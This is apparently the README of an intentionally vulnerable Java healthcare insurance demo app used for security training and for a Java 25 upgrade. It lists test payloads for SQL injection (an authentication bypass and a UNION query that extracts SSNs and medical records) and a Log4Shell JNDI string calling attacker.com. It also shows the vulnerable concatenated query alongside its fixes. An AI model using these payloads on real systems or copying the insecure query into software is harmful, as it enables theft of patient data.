

Healthcare Insurance Portal - Vulnerable Demo Application

A simple Java 8 healthcare web application running on Open Liberty with intentional security vulnerabilities for demonstration purposes.

Purpose

This healthcare application demonstrates:

- Running a Java 8 application on Open Liberty
- Common security vulnerabilities in healthcare systems (SQL Injection and Log4Shell)
- HIPAA compliance risks with vulnerable code
- How to upgrade from Java 8 to Java 25
- How to remediate critical security vulnerabilities

Current Configuration

- **Java Version:** 1.8
- **Server:** Open Liberty
- **Build Tool:** Maven
- **Log4j Version:** 2.14.1 (Vulnerable to CVE-2021-44228)
- **Application Type:** Patient Insurance Lookup System
- **Data Type:** Protected Health Information (PHI)

Known Vulnerabilities

1. SQL Injection - PHI Data Breach Risk

Location: `UserServlet.java` (line 45)

- Patient IDs are directly concatenated into SQL queries
- No parameterized queries or input validation
- **Healthcare Impact:** Could expose entire patient database including SSNs, insurance info, and medical records
- **HIPAA Violation:** Inadequate safeguards for PHI

2. Log4Shell (CVE-2021-44228)

Location: `pom.xml` and `UserServlet.java`

- Using Log4j 2.14.1 which is vulnerable to remote code execution
- Critical severity vulnerability
- **Healthcare Impact:** Attackers could gain complete access to patient records, install ransomware, or steal entire databases

3. HIPAA Compliance Violations

- Inadequate access controls
- Insufficient security measures for PHI
- Vulnerable to unauthorized disclosure
- No proper audit logging



Healthcare-Specific Risks

What's at Risk:

- **Patient Names**
- **Social Security Numbers**
- **Insurance Policy Numbers**
- **Medical History Records**
- **Diagnosis Information**
- **Treatment Plans**

Potential Consequences:

- **HIPAA Fines:** \$100 to \$50,000 per violation (up to \$1.5M per year)
- **Data Breach Costs:** Average \$10.93 million for healthcare breaches
- **Reputation Damage:** Loss of patient trust
- **Legal Action:** Class action lawsuits from affected patients
- **Ransomware:** Healthcare systems are prime targets



Getting Started

Prerequisites

- Java 8 JDK
- Maven 3.6+

Build and Run

1. Build the application:

```
mvn clean package
```

2. Run on Open Liberty:

```
mvn liberty:dev
```

3. Access the application:

- Open browser: <http://localhost:9080>
- The application will display the healthcare insurance portal

Testing the Vulnerabilities

Normal Patient Lookup:

```
http://localhost:9080/insurance?patientId=P12345
```

SQL Injection Test (Bypass Authentication):

```
http://localhost:9080/insurance?patientId=P001' OR '1'='1
```

SQL Injection Test (Data Theft):

```
http://localhost:9080/insurance?patientId=' UNION SELECT patient_name,
ssn, policy_number, medical_history FROM patient_insurance --
```

Log4Shell Test (Safe - just logs):

```
http://localhost:9080/insurance?
patientId=${jndi:ldap://attacker.com/exploit}
```

Upgrade to Java 25

Step 1: Update Java Version

Update **pom.xml**:

```
<properties>
  <maven.compiler.source>25</maven.compiler.source>
  <maven.compiler.target>25</maven.compiler.target>
  <!-- ... -->
</properties>
```

Update Maven Compiler Plugin:

```
<plugin>
  <groupId>org.apache.maven.plugins</groupId>
  <artifactId>maven-compiler-plugin</artifactId>
  <version>3.13.0</version>
  <configuration>
```

```
<source>25</source>
<target>25</target>
</configuration>
</plugin>
```

Step 2: Update Dependencies

Update Servlet API (if needed):

```
<dependency>
  <groupId>jakarta.servlet</groupId>
  <artifactId>jakarta.servlet-api</artifactId>
  <version>6.0.0</version>
  <scope>provided</scope>
</dependency>
```

Update Liberty Maven Plugin:

```
<plugin>
  <groupId>io.openliberty.tools</groupId>
  <artifactId>liberty-maven-plugin</artifactId>
  <version>3.10.2</version>
</plugin>
```

Step 3: Update Open Liberty Features

Update **server.xml**:

```
<featureManager>
  <feature>servlet-6.0</feature>
  <feature>pages-3.1</feature>
</featureManager>
```



Remediate Security Vulnerabilities

Fix 1: Upgrade Log4j (CRITICAL - Do This First!)

Update **pom.xml**:

```
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.23.1</version>
```

```
</dependency>

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.23.1</version>
</dependency>
```

Fix 2: Fix SQL Injection (HIGH Priority)

Update `UserServlet.java`:

Replace the vulnerable code:

```
// VULNERABLE CODE - DO NOT USE
String query = "SELECT patient_name, insurance_provider, policy_number,
ssn, medical_history " +
                "FROM patient_insurance WHERE patient_id = '" + patientId
+ "'";
```

With parameterized query:

```
// SECURE CODE - Use PreparedStatement
String query = "SELECT patient_name, insurance_provider, policy_number,
ssn, medical_history " +
                "FROM patient_insurance WHERE patient_id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, patientId);
ResultSet rs = pstmt.executeQuery();
```

Fix 3: Add Input Validation

```
// Validate patient ID format
if (!patientId.matches("^P[0-9]{5}$")) {
    out.println("<p class='error'>Invalid Patient ID format. Must be P
followed by 5 digits.</p>");
    return;
}
```

Fix 4: Implement HIPAA-Compliant Logging

```
// Don't log PHI in plain text
logger.info("Insurance lookup request for patient ID: " +
```

```
maskPatientId(patientId));

private String maskPatientId(String id) {
    if (id.length() > 3) {
        return id.substring(0, 2) + "***" + id.substring(id.length() -
1);
    }
    return "***";
}
```



Complete Upgrade Steps

1. Install Java 25:

```
# Download and install Java 25 JDK
# Update JAVA_HOME environment variable
```

2. Update pom.xml:

- Change Java version to 25
- Update Log4j to 2.23.1+
- Update all Maven plugins

3. Update server.xml:

- Update Liberty features to latest versions

4. Fix Security Issues:

- Implement parameterized queries
- Add input validation
- Update vulnerable dependencies
- Implement proper PHI handling

5. Test the Application:

```
mvn clean package
mvn liberty:dev
```

6. Verify Fixes:

- Run security scans
- Test SQL injection attempts (should fail)
- Verify Log4j version is updated
- Ensure HIPAA compliance measures are in place

Verification

Check Java Version:

```
java -version  
mvn -version
```

Check Dependencies:

```
mvn dependency:tree
```

Security Scan:

```
mvn org.owasp:dependency-check-maven:check
```

HIPAA Compliance Checklist:

- ☐ All PHI is encrypted at rest and in transit
- ☐ Access controls are properly implemented
- ☐ Audit logging is in place
- ☐ Input validation prevents SQL injection
- ☐ No vulnerable dependencies (Log4Shell fixed)
- ☐ Regular security assessments scheduled

Additional Resources

- [Open Liberty Documentation](#)
- [Log4Shell Vulnerability Details](#)
- [OWASP SQL Injection Prevention](#)
- [Java 25 Release Notes](#)
- [HIPAA Security Rule](#)
- [Healthcare Cybersecurity Best Practices](#)

License

This is a demo application for educational purposes only. Do not use in production or with real patient data.

Contributing

This is a demonstration project for security training. Feel free to use it for learning and testing purposes.

⚠ IMPORTANT DISCLAIMER: This application contains intentional security vulnerabilities for demonstration purposes. Never deploy this to a production environment without fixing all security issues. Never use with real patient data or Protected Health Information (PHI).

🏥 Healthcare Note: This demo illustrates common vulnerabilities found in legacy healthcare systems. Real healthcare applications must comply with HIPAA, implement proper security controls, and undergo regular security assessments.